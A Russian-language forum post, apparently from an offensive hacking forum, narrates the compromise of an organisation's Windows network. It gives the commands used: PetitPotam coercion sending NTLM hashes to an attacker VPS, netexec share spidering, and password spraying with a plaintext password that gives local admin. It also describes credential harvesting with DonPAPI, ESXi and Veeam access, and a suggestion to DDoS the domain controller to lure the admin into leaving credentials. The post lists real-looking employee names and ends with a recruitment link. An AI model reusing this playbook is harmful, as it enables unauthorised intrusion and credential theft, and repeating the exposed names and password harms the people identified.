Guest доступ к шаре привел к полной компрометации сервера

Автор @ArmCorp
Специально для forum,LIMB.cc

Пентест проводил один из участников нашего форума. 

У нас был доступ к fortigate, сдампив username и password, мы получили следующую картину.

Далее проверив все эти учетки руками, мы убедились что некоторые из них валидные (vpn). Но в AD ни одна учетка не подошла:((

Не удалось прогрузить медиа

Всё, что у нас было это доступ к smb шарам как гость. То есть мы можем что угодно вписать и у нас впустят. Понятное дело, что это накладывало множественные ограничения нет прав на запись, многие шары не можем читать и т.д.

Первое что в такой ситуации я решил сделать это проверил сетку на уязвимости к coerce-атакам.


Делал как тут: https://forum.LIMB.cc/threads/307/

Запустил netexec с модулем, на vps responder поднял. Никаких NTLM хэшэй я не словил, даже машинных, прилетел ток mssql. Не знаю почему так если честно. Это явно ошибка netexec.

Я сделал для себя вывод, что лучше запускать отдельные скрипты на python, чем использовать netexec. Так мы точно не упустим из виду хэш.

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Бред какой-то.

Эта ошибка означает, что тестируемый вами сервер не поддерживает протокол NetLogon (т.е., вероятно, он не является контроллером домена).

Еще из интересного я заметил, если вы responder запускаете на vps, то вам будут прилетают дефолт креды, по типу password:password, queen:password и т.д. Знаете откуда? Это нас брутят, в надежде получить доступ к smtp, mssql и другим сервисам. Можете так запустить и собрать свой словарик, мало ли пригодится.

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Ну ладно одним словом не сработал PetitPotam от netexec. Возможно это проблема с моей версией nxc, может я как-то неправильно обновил. Поэтому я скачаю Petit с github.

python3 PetitPotam.py -no-pass -u '' -d 'domain.local' ip_vps 192.168.1.19

На 248 не захотел отрабатывать, а вот на 192.168.1.19 прилетел машинный хэш.

Не удалось прогрузить медиа

Далее я решил посмотреть куда есть доступ. Обратите внимание юзернейм не "guest". Если вы укажите "guest" вас может не впустить как гостя из-за политики виндовс.

netexec smb 192.168.1.0/24 -u 'gondon' -p 'huesos'

PPLDB [+] \gondon:huesos (Guest)
SMB 192.168.1.28 445 PPLSHARE [+] domain.local\gondon:huesos (Guest)

Две шары. Не так уж и много. В первую очередь просмотрю на 28 хосте поскольку привлекает название и там хотя бы указан домен. То есть PPLSHARE там доменные шары, а в PPLDP локальные, маловероятно что-то интересное там найти.

Вот что я еще заметил.

nxc smb 192.168.1.28 -u 'js' -p '1234' -M spider_plus -o EXCLUDE_EXTS='mp4,exe,inf,html,css,js,md,iso,dll,lnk,htm,bat,dat,mui,bin' MAX_FILE_SIZE=2000000 DOWNLOAD_FLAG=True EXCLUDE_FILTER='print$,tmp,opt,IPC$,ADMIN$,W$,X$,D$,C$,R$,SYSVOL,NETLOGON'

netexec не скачивает все файлы. Я знал что есть файл который весит меньше 20 кб, запускал netexec 3-4 раза сначала до 9 гб, потом до 9 мб, 100 кб, 15 кб и т.д. И нихуя он его не скачал =) Вывод какой. Писать свой софт для спайдеринга или смотреть ручками.

nxc smb 192.168.1.28 -u 'js' -p '1234' --share "Users" --dir "/Public/Downloads/"

Не удалось прогрузить медиа

Вот этот важный файл test.csv он нихуя не скачал.

Не удалось прогрузить медиа

Скачал всякое дерьмо системное, а пользовательские файлы не выгрузил...

Не удалось прогрузить медиа

Это дамп Get-ADUser. Проанализировав его я пополнил список пользователей.

• Administrator
• Guest
• DefaultAccount
• krbtgt
• amajo (Antony Majo)
• tgambiza (Tafadzwa Gambiza)
• tchikadza (Tendai Chikadza)
• nchigayeni (Natasha Chigayeni)
• rmachikichi (Raphael Machikichi)
• tmachingura (Talent Machingura)
• enakura (Emmanuel T. Nakura)
• rmusakuro (Raymond Musakuro)
• training1
• training2
• pchakauya (Panache Chakauya)
• cngwenya (Chelesani Ngwenya)
• rmutangadura (Rumbidzai Mutangadura)
• tfohlo (Tawanda Fohlo)
• tshavanho (Tatenda Shavanho)
• mmasvosve (Masimba Masvosve)
• btsambani (Branton Tsambani)

Далее спреим все пароли из fortigate и находим локал админа.

netexec smb 192.168.1.0/24 -u 'enakura' -p 'Apatsuhury11/'

SMB 192.168.1.19 445 PPLAD [+] \enakura:Apatsuhury11/ (Pwn3d!)
SMB 192.168.1.22 445 PPLRD [+] \enakura:Apatsuhury11/ (Pwn3d!)

Дальше в бой идет donpapi собираем как можно больше кредов.

Не удалось прогрузить медиа

В esxi мы тоже проникли.

Не удалось прогрузить медиа

Осталось только взять DA креды.

Не удалось прогрузить медиа

У нас есть доступ по rdp к рабочей тачки админа, но он не сохранил креды от DC 248 хост. Если положить его (заддосить например) он может попытаться подключиться с рабочей машины, чтобы проверить все ли в порядке, тем самым сохранив для нас креды =)))

Таблицу с кредами veeam можно через GUI сдампить и потом расшифровать.

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

На этом пока что все. Если хочешь работать с нами: https://forum.LIMB.cc/threads/220/ будем ждать тебя в ЛС!